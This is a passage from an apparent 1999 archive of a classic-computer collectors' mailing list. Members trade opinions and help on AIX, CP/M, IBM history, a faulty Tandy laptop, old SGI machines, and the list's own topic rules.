do. anyone know the location of some kind of AIX tutorial. I found a dos<->AIX command ref on the net, and although i did find a AIX FAQ, it's over my head. I need something a little simpler. From SUPRDAVE at aol.com Sat Jan 9 09:04:44 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:55 2005 Subject: Y2K Test Program Message-ID: <4ecdcb92.3697700c@aol.com> In a message dated 1/9/99 8:47:47 AM EST, gene@ehrich.com writes: << It works real well. My Aptiva 133 failed auto rollover to 2000 test but passed the rest. It's worth getting a copy. Don't know if the list carries it but I have attached a copy to this message. It's a self extracting ZIP file that must be run from DOS. >> uh, file attachments are a no-no... www.pc.ibm.com/year2000 is another place to go to download a test program and also a driver that will autochange the century byte for lazy computer users that wont issue the date command. david From fauradon at pclink.com Sat Jan 9 09:34:49 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:39:55 2005 Subject: Computer collector on Jeopardy! Message-ID: <009f01be3be5$988a42a0$381bfea9@francois> Yes it was in Popular Electronics that the Cosmac Elf was described. I would give my vote to the ZX81, THe price is right $99 and I know that it came as a kit (i built mine in 1982) actually it was my first computer. -----Original Message----- From: Miles O'Neal To: Discussion re-collecting of classic computers Date: Saturday, January 09, 1999 1:33 AM Subject: Re: Computer collector on Jeopardy! >Doug Yowza said... >| >|I still say it was the ZX81. What do I win, Alex? > >I never saw that in a kit form... > From pechter at monmouth.com Sat Jan 9 09:34:43 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:39:55 2005 Subject: new to the list In-Reply-To: <369762C0.2710445B@cnct.com> from Ward Donald Griffiths III at "Jan 9, 99 09:08:00 am" Message-ID: <199901091534.KAA10075@pechter.ddns.org> > Bill Pechter wrote: > > > Would love SMIT for FreeBSD (but would love the AIX Logical Volume > > Manager more. > > By all godz I could use it on this thing (my main home workstation, I > made a couple of bad decisions when I added the 8.4Gb drive). > > > As far as SMIT... But with a better looking user interface without the > > stupid running icon. > > Ah, the OJ. (The term was in use before the white Bronco incident -- > apparently the guy was known as a runner? I'm not a football fan). Yup... know he'll do ginsu commercials. Was that a case of programmer cute or did some mamanger spec the running man icon or was it an internationalization... Instead of running we'll use a world wide recognizable symbol? Inquiring minds want to know. Bill From marvin at rain.org Sat Jan 9 10:10:49 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:55 2005 Subject: Mr. Gates References: <199901090722.BAA23587@wildride.netads.com> Message-ID: <36977F89.C6D7FC35@rain.org> Miles O'Neal wrote: > > CP/M was OK for its time, but DOS really should > have been better. And it might have been, had a > certain Mr. Gates not snookered its developer & > sold the thing to IBM... What do you think might have happened if Mr. Gates had not done what he did? It is really easy to knock something with the benefit of hindsight, and most of us do that. Just be prepared for questions such as the one I just asked :)! From marvin at rain.org Sat Jan 9 10:21:54 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:56 2005 Subject: Computer collector on Jeopardy! References: Message-ID: <36978222.55D300CD@rain.org> Doug Yowza wrote: > > can (Bob: be a nice guy, and don't take advantage of this information). This information has been posted here a number of times dating from a year or two or three ago. From roblwill at usaor.net Sat Jan 9 13:28:00 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:39:56 2005 Subject: Tandy 600 acting screwy Message-ID: <01be3c06$2ba73000$cb9ba6d1@the-general> Hi! I've got an old Tadny 600 laptop that I used to use for quick note-taking. I "retired" it about a year ago when the battery would no longer run the floppy and I had been given a Tandy 1400HD. Since then, the hard drive controller in the 1400 has "lost the magic smoke", and I'd like to get the 600 running again. I replaced the NICd cells, charged them overnight, and pressed the power switch. What do I get? Garbage filling the screen. I do the 5-finger salute cold boot. Here's what I get: -------- Uncoop System Load: Disk Error. Retry (Y/N)? _ -------- Disk error? from what I remember, this thing booted from ROM, and I don't have any sort of system disk. I hit n. It turns off. Great. I press power again, get two beeps, and this in the center of the display: -------- Unable to restart, critical system data damaged. Hit any key to reinitialize system. -------- Wonderful - system data damaged- doesn't sound good. I might as well hit any key - can't get any worse. I hit "enter". To my surprise, I get the old, familiar Microsoft Works 1.20 screen. I use the arrow keys to move the cursor over "WORD", and hit enter. At the bottom of the screen, it says: RUN application: WORD That's where it's been sitting for 5 hours, because I can't turn it off, either. I also noticed that the "free memory" said that there were 976560 bytes free. A year ago, there was only 32k. Anyone have any suggestions? ThAnX, -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 From allisonp at world.std.com Sat Jan 9 11:30:15 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question Message-ID: <199901091730.AA04346@world.std.com> PIP B:=A:file.foo Allison From allisonp at world.std.com Sat Jan 9 11:30:23 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:56 2005 Subject: Computer collector on Jeopardy! Message-ID: <199901091730.AA04403@world.std.com> >You guessed it the COSMAC Elf! And IIRC, the article was "Build a COSMA <> >Elf for Less than $100" < Number 7?!?!?!? Give me a break, there is no better coffee table than a <> BA123, unless it's perhaps some of the IBM RS/6000's (and that's all <> they're good for) < Message-ID: As I recall, some of original Star War's movie graphics were done on a PDP11. Perhaps I misunderstand your point. Paul On Sat, 9 Jan 1999, Allison J Parent wrote: > Graphics we know were not going to happen on PDP11 or most other 16bit > cpus as they don't address enough space. OSs were driven by the > environment and it's tasks plus space needs. > > Allison > > From rhblake at bigfoot.com Sat Jan 9 11:49:17 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:39:56 2005 Subject: R.I.P. Hayes References: <199901052225.OAA26704@geocities.com> Message-ID: <3697969C.D82FD268@bigfoot.com> They still have an active and alive webpage at http://www.hayes.com/ without any mention of demise. Where did you get this info? Max Eskin wrote: > Just so everyone knows, > > Hayes is gone. They closed down for good yesterday. > ---------------------------------------------------------------------------- > ----- > Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From healyzh at aracnet.com Sat Jan 9 11:55:39 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091730.AA04473@world.std.com> Message-ID: >< ><> Number 7?!?!?!? Give me a break, there is no better coffee table than a ><> BA123, unless it's perhaps some of the IBM RS/6000's (and that's all ><> they're good for) >< > >It would appear education is best attained with the extended use of 2x4 >technology. IE: SMACK!, Listen up! > >:) :) :) > >Allison I'm just never going to live down accidentally lumping all RS/6k's into the same catagory am I? :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From meo at netads.com Sat Jan 9 12:10:13 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901090921.EAA23965@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 9, 99 04:20:24 am Message-ID: <199901091810.MAA26092@wildride.netads.com> Sean 'Captain Napalm' Conner said... | | And when, exactly, is the time when you can't use SMIT? Any time you want to automate something. Any time you wnat to log in and run a single command in 3 seconds and get out. -Miles From meo at netads.com Sat Jan 9 12:15:55 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091323.IAA09438@pechter.ddns.org> from "Bill Pechter" at Jan 9, 99 08:23:23 am Message-ID: <199901091815.MAA26160@wildride.netads.com> Bill Pechter said... | |As far as SMIT... But with a better looking user interface without the |stupid running icon. I would tell y'all a story about the running icon, but the icon (and the story) aren't 10 years old yet... From meo at netads.com Sat Jan 9 12:19:22 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: RT - the rude, the bad, and the ugly In-Reply-To: <369758B1.35F6E246@cnct.com> from "Ward Donald Griffiths III" at Jan 9, 99 08:25:05 am Message-ID: <199901091819.MAA26180@wildride.netads.com> Ward Donald Griffiths III said... | |> >The high bidder would get to step out back onto the rifle range |> >(why have 5 acres in Texas without a rifle range?), and put a |> >7.62mm bullet into the RT's evil, beating heart. | |Crappy NATO 7.62 renaming of .30 cal. Jerks. Gimme a Winchester |.308. Ha! Crappy Soviet 7.62x39 military ammo. But find me a new gun in .308 for $99, and I'll buy it. But, like an IBM 3101 terminal, you can toss an SKS or AK off a roof, run over it with a truck, drag it through the mud, and it will *still* let you log on and do its job. Um, I mean, shoot as well as it ever did. [Which isn't that great, but fine for what it was intended for. Just like an IBM 3101. Truly the Mack Truck of ASCII terminals.] -Miles From meo at netads.com Sat Jan 9 12:22:08 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: OSF/1, DE, IBM, and Tektronix In-Reply-To: <199901091331.IAA09500@pechter.ddns.org> from "Bill Pechter" at Jan 9, 99 08:31:30 am Message-ID: <199901091822.MAA26198@wildride.netads.com> Bill Pechter said... | |I believe AIX was one of two (along Digital OSF/1) Unix varients |based on the OSF/1 code. IBM also contributed the file system |and LVM to OSF/1. DEC kicked in a bunch of their parts. I don't doubt they rolled some of the changes into AIX, but (a) they had already put quite a bit of AIX into OSF/1, and (b) they certainly didn't start over with OSF/1 as a new AIX base. |The Sun-AT&T deal faded away as AT&T decided to buy NCR, partner with |Pyramid and continue their attempt to chase the computer business |with badly conceived plans (like buying NCR). And also because Sun was freaked out over OSF/1, and because their much vaunted UNIX to end all UNIX didn't pan out... From yowza at yowza.com Sat Jan 9 12:16:34 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:56 2005 Subject: Computer collector on Jeopardy! In-Reply-To: <36978222.55D300CD@rain.org> Message-ID: On Sat, 9 Jan 1999, Marvin wrote: > This information has been posted here a number of times dating from a year > or two or three ago. This is the first time its been posted since dealers have joined the list and ebay went public. A "normal" collector would never think to buy out the entire supply and control the market, a dealer on the other hand.... -- Doug From meo at netads.com Sat Jan 9 12:31:25 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: AIX 1.x In-Reply-To: <199901091336.IAA09549@pechter.ddns.org> from "Bill Pechter" at Jan 9, 99 08:36:08 am Message-ID: <199901091831.MAA26239@wildride.netads.com> Bill Pechter said... | |> and don't get me started about the PS/2 AIX... | |That wasn't really AIX, though. Didn't it really start with Interactive |Unix at the root. That sounds right (I know it wasn't the AIX core). Too late, you got me started... IBM has had at kleast three , simultaneous, fairly unrelated products called AIX. The workstation version (RT, later RS series), the micro series (originally only for PS/2), and the mainframe series. None of them were very compatible at the CLI level. (There may have been a separet version for minis, I don't know.) When the PS/2 came out, we had just recently gotten away from the Gamma version of SunOS for the Roadrunner (Sun's i386 box), which was more like a middling Beta than a Gamma (although the FCS was OK). The PS/2 AIX Beta made a Sun Beta (which usually felt like a late Alpha) look like a mature product. We had all kinds of nasty problems. The rand(3) function always returned the same value. Some of the basic signal(2) functions returned random results, and a couple didn't work at all. The best part was that IBM swore up and down that there were no known bugs! Eventually someone managed to smuggle the known bug list out of IBM (one line per bug) and post it on the net or send it via email to someone on the project. Karl printed it out, and it was almost a half inch thick. IBM really wanted our software ported to the PS/2. So did our management. We told them to look for it on VMS first, and maybe even a Kaypro (which was definitely impossible). -Miles From meo at netads.com Sat Jan 9 12:35:33 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <4d4d140f.36976ed4@aol.com> from "SUPRDAVE@aol.com" at Jan 9, 99 09:59:32 am Message-ID: <199901091835.MAA26317@wildride.netads.com> If you're going to run an RT, you definitely want a set of manuals. From sethm at loomcom.com Sat Jan 9 12:32:32 1999 From: sethm at loomcom.com (Seth J. Morabito) Date: Sun Feb 27 18:39:56 2005 Subject: Computer collector on Jeopardy! In-Reply-To: from "Doug Yowza" at Jan 9, 99 02:36:45 am Message-ID: <199901091832.KAA08523@loomcom.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 992 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990109/384ea9ca/attachment.ksh From meo at netads.com Sat Jan 9 12:42:07 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: Mr. Gates In-Reply-To: <36977F89.C6D7FC35@rain.org> from "Marvin" at Jan 9, 99 08:10:49 am Message-ID: <199901091842.MAA26375@wildride.netads.com> Marvin said... | |What do you think might have happened if Mr. Gates had not done what he |did? It is really easy to knock something with the benefit of hindsight, |and most of us do that. Just be prepared for questions such as the one I |just asked :)! There were a number of people working on better versions of CP/M, better CLIs for CP/M, and other operating systems for the hardware. Any of them would have been much better for the PC. Additionally, Apple was already beginning to feel the heat and starting to do cooler stuff, as were Commodore, and any number of others. If IBM had bought a better OS, preferably from someone who cared about computers, we'd have probably all been better off. Had nobody been willing to sell IBM an OS, it would have taken them at least a year to roll their own, and I think the market would have been in a much better state by then, where IBM's mere presence would not have been as likely to destroy so many. I generally *do* try to think things through. Like I said, I was one of the people most upset with MS and with IBM at the time. So it wasn't just hindsight. 8^) -Miles, not afraid of the hard questions [Truth is worth the pain.] From kurtkilg at geocities.com Sat Jan 9 12:44:55 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:39:56 2005 Subject: R.I.P. Hayes In-Reply-To: <199901091839.NAA01825@localhost> by geocities.com (8.9.1/8.9.1) with ESMTP id JAA25309; Sat, 9 Jan 1999 09:52:54 -0800 (PST) Message-ID: On Sat, 9 Jan 1999 rhblake@bigfoot.com wrote: > They still have an active and alive webpage at http://www.hayes.com/ without any > mention of demise. Where did you get this info? ZDNet. I think Hayes probably forgot to update their webpage, they probably have better things to do. ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From meo at netads.com Sat Jan 9 12:57:40 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question In-Reply-To: <199901091730.AA04562@world.std.com> from "Allison J Parent" at Jan 9, 99 12:30:38 pm Message-ID: <199901091857.MAA26463@wildride.netads.com> Allison J Parent said... |They had no incentive to improve it and cpm1.4 was actually |behind V2.2 (then current!). They did have incentive, they just didn't recognize it. | from "Russ Blakeman" at Jan 9, 99 11:49:17 am Message-ID: <199901091857.MAA26471@wildride.netads.com> Russ Blakeman said... | |They still have an active and alive webpage at http://www.hayes.com/ without any |mention of demise. Where did you get this info? It's all over the news. From kurtkilg at geocities.com Sat Jan 9 12:51:14 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091640.LAA00290@localhost> by geocities.com (8.9.1/8.9.1) with ESMTP id WAA02409; Fri, 8 Jan 1999 22:59:23 -0800 (PST) Message-ID: On Sat, 9 Jan 1999 yowza@yowza.com wrote: > Amiga to have happened in 1975, but if Bill Gates had stayed home and > Linus Torvalds had been born a little earlier, man what a cool world we'd > have today, 25 years later. To tell you the truth, if Bill Gates had stayed home and Linus Torvalds had never been born, we would have been even better off. I'm using Linux right now, so I have Linus to thank. But then, I'm using a crappy Compaq laptop which would never have been made (or made but not this crappy) if not for Bill Gates. Linux is a solution to a problem that should not have come about in the first place. I'd much rather be using some version of the Dynabook, or an Amiga, or something totally different. ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From kurtkilg at geocities.com Sat Jan 9 12:56:27 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question In-Reply-To: <199901091641.LAA00338@localhost> by geocities.com (8.9.1/8.9.1) with ESMTP id XAA17138; Fri, 8 Jan 1999 23:48:53 -0800 (PST) Message-ID: On Sat, 9 Jan 1999 dpeschel@u.washington.edu wrote: > became. If they had just ripped off a better OS, that might have been nice > as well. Something with long file names, or multitasking, or whatever. > And OSs of the time DID have long file names. I don't know about > multitasking (maybe OS/9 or FLEX were around when DOS was born?). Interestingly, there were a number of attempts over the years to make a better OS than DOS. An example is TSX-Lite, a multitasking, 32-bit version of DOS that was shareware last time I looked. It had the right ideas but worked very poorly. Caldera DR-DOS supposedly has multitasking but it hardly works. OS/2 is very resource-intensive, worse than Windows 95. Which makes me wonder; maybe something good could have been done before Linux came about, but everyone was too lazy? ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From kurtkilg at geocities.com Sat Jan 9 13:07:03 1999 From: kurtkilg at geocities.com (Max Eskin) Date: Sun Feb 27 18:39:56 2005 Subject: OT: Linux question Message-ID: Can anyone help me with this issue? When I download my mail in Linux, the mail has a line in the header called 'X-Status:' followed by a blank line. I have found that if I get rid of this and the blank line, pine properly detects the Subject: and From: of the letter. However, if I leave it in, it doesn't. I wrote a very inefficient shell script to get rid of these lines, using a loop with grep and sed. Does anyone know a better way? Thanks. ---------------------------------------------------- Max Eskin | kurtkilgor@bigfoot.com | AOL: kurtkilgor From musicman38 at mindspring.com Sat Jan 9 00:47:01 1999 From: musicman38 at mindspring.com (Phil Clayton) Date: Sun Feb 27 18:39:56 2005 Subject: Flea Market FInd References: <199901090701.BAA23368@wildride.netads.com> Message-ID: <3696FB65.8BCA6F9@mindspring.com> I was at the Flea Market today and saw in a dealers back shed a Compugraphics computer. Had an install/service date tag of 1986.. It had no monitor or keyboard, at least that I could find. On the back it had several NON standard connectors, color monitor was 25pin, keyboard was 25pin.. It was a very large and heavy desktop model with dual 5-1/4 drives. Model 01986 Anyone know if its worth anything ? I could still get it if someone needs it.. Phil... From meo at netads.com Sat Jan 9 13:38:19 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091534.KAA10075@pechter.ddns.org> from "Bill Pechter" at Jan 9, 99 10:34:43 am Message-ID: <199901091938.NAA26711@wildride.netads.com> Bill Pechter said... | |Was that a case of programmer cute or did some mamanger spec the running |man icon or was it an internationalization... Instead of running |we'll use a world wide recognizable symbol? I had the distinct impression that it was something somebody just did, and someone liked it, and it took off. Management may have wanted something, and this fit the bill, or a crucial series of someones may have just gone, "Oh. Cool. OK." (I think that is what happened.) Believe it or not, in the early 90s, that wasn't too unusual at IBM, at least in Austin. Among other things, that's where AIX on CD instead of tape came from, where support for xdm and the font server and in fact almost all the standard X apps came from. CMVC grew out of an in-house project. It was a pretty awesome time to be at IBM. Most of the folks had even started treating contractors like people. [I was a contractor. xdm and the font server were unsupported, but the guy responsible for them worked on them like they were. I convinced my manager that they were important, we added serious testing to the Product Verification Test suite, and next thing we knew, IBM realized they weren't an albatross, but a feature!] The original running man was *extremely* slow, and ate up a lot of the CPU. He also fell down a lot. And was often wrong about whether he should be falling down or showing off his muscles. Of course, this was well before it was even Alpha code... (Hey, this was 1992! Can we talk about this here???) -Miles From dpeschel at u.washington.edu Sat Jan 9 13:40:50 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091938.NAA26711@wildride.netads.com> from "Miles O'Neal" at Jan 9, 99 01:38:19 pm Message-ID: <199901091940.LAA08395@saul7.u.washington.edu> > (Hey, this was 1992! Can we talk about this here???) As you've probably noticed, the "ten year" rule is often bent. If the topic is good enough, bending it is permitted/encouraged. I just changed the Welcome file which gets sent out to new members (the main difference is that the "This list is going away!" notice at the beginning went away). It doesn't actually encourage people to bend the "ten year" rule, but it does list some circumstances where it might be bent. It's an implicit encouragement. (Basically, topics are so wide-ranging that you could say the list has a double standard.) Did you get the new file? -- Derek From jonathan at canuck.com Sat Jan 9 13:44:08 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list Message-ID: <199901091944.MAA17871@canuck.com> > Hi (from the list owner). :) Hi yerself. > I usually tell people to stop eventually, though I am rather lazy about it. > Generally, I come down harder on the poltiical discussions. I acknowledge that I'm jumping in without the benefit of a lurking period, and that what I've seen so far may not be statistically significant, but I'd like to offer a little perspective. I subscribe to a pretty varied assortment of lists (ranging from old Ramblers to new music), and this is by far the highest volume, with each digest in the 3000-4500 line range. This, folks, is a lot of mail. In the case of at least one of the other lists I subscribe to, the list owner borders on tyrannical in keeping the discussion on-topic. We like it this way. Otherwise the S/N just drops off too hard, and the list becomes more burden than useful. > The Altair-price discussions are generally considered to be on topic, > not just because they deal with classic computers, but because they deal > with changes in the hobby of _collecting_ classic computers. If you've been > looking at prices and available machines for any length of time, you can > probably tell that it just isn't easy to pick up machines that used to be > fairly readily available. (PDP-8's and -11's, for example.) Understood. Me, I'm interested in the exchange of technical information, and as I suggested above, it might be argued that the volume and variety of discussion is going to make the list a less-than-satisfying thing for people with specific interests. Might I respectfully suggest that, in the absence of aggressive subject management by the owner, the list would be better broken into four, say: classiccmp-historical classiccmp-technical classiccmp-overblown_prices_collector_scum_die_die_die classiccmp-more_about_television_licensing_really > Maybe I should start keeping a list of subjects that are on-topic by > consensus, and those that are off-topic by consensus. That's admirably democratic of you, but impossible in practice. It's really just a job for one individual's discretion, and I have no reason to not trust yours. Jonathan From jonathan at canuck.com Sat Jan 9 13:46:59 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:39:56 2005 Subject: little old machines Message-ID: <199901091947.MAA17966@canuck.com> Doug Yowza intoned: > Oh sure, just drop on in and casually mention your MCS-4, the most > desirable SBC on the planet. Do you need docs? Hans P. might know where > to find them. And Hans F. has a few SC/MP SBC's. And we all have > handheld PDP-8's, so the Intersil is dull stuff. :-) Gee, wasn't just looking to brag or anything... I've actually been curious rare the Intel is. I'd be interested in knowing how many are out there. I'm okay on docs, but there's missing silicon, including the monitor proms. Help! Jonathan From allisonp at world.std.com Sat Jan 9 13:47:33 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question Message-ID: <199901091947.AA15133@world.std.com> from "D. Peschel" at Jan 9, 99 11:40:50 am Message-ID: <199901092000.OAA26856@wildride.netads.com> D. Peschel said... | |As you've probably noticed, the "ten year" rule is often bent. If the topic |is good enough, bending it is permitted/encouraged. I meant to add a smiley face... [1] Sorry! I'd gotten the impression it was OK, as long as it didn't get too carried away. |Did you get the new file? Yes, thanks. -Miles [1] 8^) [2] [2] This smiley face is well over 10 years old. From meo at netads.com Sat Jan 9 14:03:55 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: logical volume manager for mailing list? Message-ID: <199901092003.OAA26875@wildride.netads.com> Victor the Cleaner said... | |classiccmp-historical |classiccmp-technical |classiccmp-overblown_prices_collector_scum_die_die_die |classiccmp-more_about_television_licensing_really That's only the beginning. classiccmp-make-money-fast classiccmp-bill-gates-sucks classiccmp-bill-gates-rulez classiccmp-religious-arguments The list really isn't that high volume. I've seen much worse. But mailing lists are why God invented the "D" key. -Miles From meo at netads.com Sat Jan 9 14:07:06 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:56 2005 Subject: Stupid CP/M question In-Reply-To: <199901091947.AA15133@world.std.com> from "Allison J Parent" at Jan 9, 99 02:47:33 pm Message-ID: <199901092007.OAA26894@wildride.netads.com> Allison J Parent said... | | Roger Merchberger trashed my theory with: > For the same reason some (many?) people here like their Commodore 64's & > VIC-20's. _Personally_, I have no use for them (save a couple from the > dumpster, but not even powered 'em up -- will be up for trade fodder soon) > but for a lot of people on this list, they were their first computer. > Sentimentality goes a *long* way on this list (which is his reason for > owning the computer you don't want, BTW). Believe me, many folks are just > as turned off by my RS/Tandys & Ataris & whatnot... but that's o.k. too. Ya-but... Look, just like everything else, there's "old good" and "old shit". Lots of mediocre music was written two hundred years ago, which is why I refuse to acknowledge "classical" music as a genre than has any inherent value in defining the music. Just because it's old, it isn't by definition good. Thus, I don't recognize anything particularly interesting in machines that were badly-designed landfill-before-their-time any more than I do in mass- market machines like the Radio Shacks and Ataris you mentioned. I see a historical preserve (such as this) as being one better dominated by systems that were examples of true innovation, and those tend to be the ones below the radar of the consumer market. Do I have a problem with people who want to fill their garages with original chiclet-keyboard-and-internal-cassette Commodore PET 2001s? Hell, no. Enjoy 'em; start your own list dedicated to 'em; stay outa my receding hair. I came here to find someone as serious as me who can help me program 1702s. This thread was about Compucolors. I ran a service bench when they first came out, maintained them, and they were living, breathing junk. That notwithstanding, I held onto a board set and a bunch of parts for many years in hope of making it into my first machine with a color display. When I discovered old SGIs, you can only guess how fast the Compucolor parts hit the dumpster that they so richly deserved. > Hang in there, find the delete key, and I guarantee you you *will* learn a > lot while being on this list. I have. Wish it was that easy, old son. On an average day I get about 200 pieces of "real" (ie non-list) mail. That's why I insist on receiving ANY list via digest - I can't afford to have a single list double the number of messages I receive per day. So reading a 4500-line, 150-message digest is a considerable amount of work, and not one that the "delete" key helps with. Of course I want to learn. But not at the expense of endless dreary discussions in the overpriced-collector-scum vein, or dreary Merka vs. Euro drooling. I'm in Canadia - I'd have to throw rocks at both sides. Jonathan From dpeschel at u.washington.edu Sat Jan 9 14:06:03 1999 From: dpeschel at u.washington.edu (D. Peschel) Date: Sun Feb 27 18:39:56 2005 Subject: new to the list In-Reply-To: <199901091944.MAA17871@canuck.com> from "Victor the Cleaner" at Jan 9, 99 12:44:08 pm Message-ID: <199901092006.MAA09570@saul7.u.washington.edu> > Understood. Me, I'm interested in the exchange of technical information, > and as I suggested above, it might be argued that the volume and variety > of discussion is going to make the list a less-than-satisfying thing for > people with specific interests. Many of the people on the list are in the same category. In other words, the list (which is supposed to be very single-minded) contains a number of people who actually are single-minded (Tony Duell, Allison Parent, Megan Gantry, Pete Turnbull, maybe others). This is good! Don't misunderstand me. It's the way it's supposed to be. The problem is that I'm not very single-minded. :) > Might I respectfully suggest that, in the absence of aggressive subject > management by the owner, the list would be better broken into four, say: > That's admirably democratic of you, but impossible in practice. It's > really just a job for one individual's discretion, and I have no reason > to not trust yours. I think you're right about it being my job, but I think what you really need to respectfully suggest is that the owner start owning the list. We've discussed creating a parallel list for off-topic stuff, which might be nice but may well backfire. It's a lot simpler just to keep things on topic. -- Derek From jonathan at canuck.com Sat Jan 9 14:19:27 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:39:56 2005 Subject: old sgis Message-ID: <199901092019.NAA19038@canuck.com> Arfon Gryffydd wanted to know: > I have a chance to grab some Silicon graphics Irix 31xx machines... They > SEEM to need a boot tape. Anyone know anything about these boxes? What's > the OS? There were a number of mostly-accurate replies to this yesterday. Seeing as how I wrote the FAQ, I'd like to present the mostly-definitive reply. First, this is a 68020-based, Multibus machine. Nothing at all in common with the later MIPS systems. According to William Donzelli : > You are going to want and OLD version of IRIX (around version 3), as these > boxes were fairly quickly kicked off the support wagon (SGI seems to be > kind of bad about that). These old things are not incredibly usefull Unix > boxes, as X was never (to my knowledge) ported to them. The graphics are > quite good even today, as it probably has a board stuffed with Geometry > Engines. IRIX 3.6 was the last OS distributed. There's some incomplete 3.7 stuff kicking around, but probably not of interest to most. To my knowledge, no open-source unix has ever been ported to one. X is not supported, though TCP/IP is, so you can get it on the network, but it's going to take you a bit of work to make it useful, like compiling bind, as they predated DNS. Your server will offer you a delightful choice of drives: ST506, ESDI, or SMD. No SCSI. Note that when SGI put out the first 4D (MIPS R2K/R3K) machines, they called the OS IRIX 3.something as well, just to create confusion. > Well, there are 3 of them for about $30.00 each... Huge cabinets and huge > monitors... IMnot-so-HO, that's too much money. Stuff of that vintage should be GIVEN to you for nothing. Pay 'em $90 only if they'll deliver. > Are they worth grabbing? Can I use the monitors for anything? Can I > connect them to my ARCnet/Ethernet/Parallel/Serial port network and be > useful? Yes, they all have ethernet. Want a unix box? If so, they're worth grabbing. Monitors are fixed-sync RGB, and probably not useful on anything else you have or might get. As it happens, there's another (non-list) chap for whom I've been getting my 3130 running again (a bad video board, then a blown /etc/passwd...) in order to generate a boot/install tape. I'd be much more enthusiastic about doing it if there were a few other people on the list who need them as well, so I can do a bunch at one time. Jonathan From jonathan at canuck.com Sat Jan 9 14:35:42 1999 From: jonathan at canuck.com (Victor the Cleaner) Date: Sun Feb 27 18:39:56 2005 Subject: a little more compucolor rant; sgi Message-ID: <199901092035.NAA19633@canuck.com> Courtesy ard@p850ug1.demon.co.uk (Tony Duell): >> I've ever seen, and nonexistent development software. Words of advice: >> If you want to learn graphics, go track down an SGI Indigo - the purple > Look, (and this may sound strange....) if all you want to do is compute, > go and get a PC or a Mac, right. Part of the fun of classic computers is > dealing with 'warts and all' - the fact that there are kludges > everywhere, but somehow we get round them. Yup. With a great big hammer and a nearby dumpster. If I want warts, fun, and interesting, I'll spend my time on the MCS-4 or even one of my old DG Novas. They had their strengths and their weaknesses, but they were both well-built and historically significant. A badly-designed machine was a waste of time the first time around - you insult your own short lifespan by wasting yet more. If you don't agree with me, I'll be happy to send you a box of assorted unreliable S-100 DRAM boards that will keep you busy well into your retirement. As for fun vs. usable, who the hell says you should have to choose? Why not have both? That's why we're after our first Cray, why we maintain the NetBSD Build Lab (a single location in which we're trying to assemble one example of each machine supported). Normally I couldn't give half a shit for Amigas, but it's fun to rackmount one and help get unix running on it. Maybe that's the primary philosophical divergence here: I consider few obsolete machines to be inherently interesting, when there are so many others that are merely _thought_ to be obsolete but are still utterly useful given a current, robust OS. > Having once tried to get spare parts out of SGI, never again. I don't > want a totally unmaintainable machine, thank you very much. It was all > custom silicon, and it was all unavailable.... Well, this is just silly. How much more luck have you had getting parts for that Compucolor? SGIs are just like anything else - if you've got enough bits you can maintain them yourself. And I'll tell you one thing for sure: Gathering enough spares to do the support is easy, seeing as how there aren't (yet) any collector scum driving the prices of Indigos to 20 times their original price. Jonathan From 